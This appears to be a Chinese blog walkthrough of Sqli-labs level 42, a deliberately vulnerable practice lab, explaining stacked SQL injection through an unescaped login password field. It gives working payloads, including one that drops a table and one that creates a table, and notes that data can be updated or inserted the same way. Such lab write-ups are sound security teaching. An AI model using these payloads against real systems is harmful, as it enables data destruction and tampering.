zoukankan      html  css  js  c++  java
  • Sqli-labs less 42

    Less-42

    Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。

    本关从login.php源代码中分析可知:

    Password变量在post过程中,没有通过mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行attack。

    登录用户名随意

    密码登录用以下的方式c';drop table me# (删除me 表)

    c';create table me like users# (创建一个me 的表)

    下面这张图是我们没有登录时数据库当中存在的表

    此处登录username:admin

    Password:c';create table less42 like users#

    原sql语句为

    $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

    登录时构造的sql语句为

    SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#

    利用stacked injection,我们成功执行创建数据表less42的语句。

    从下图可以看出show tables后已经成功创建less42表。

    利用c';drop table me#作为登录密码,删除该表。

    同样的利用此方式可以更新和插入数据项,这里就不进行演示了。

  • 相关阅读:
    property补充
    利用描述符自定制property
    类的装饰器
    上下文协议管理
    描述符
    迭代器协议
    doc属性__module__属性__del__(垃圾回收)__call__方法
    【移动支付】.NET支付宝App支付接入
    【WPF】PopupColorEdit 的使用
    【MVVM Dev】PART_Editor的使用
  • 原文地址:https://www.cnblogs.com/lcamry/p/5762791.html
Copyright © 2011-2022 走看看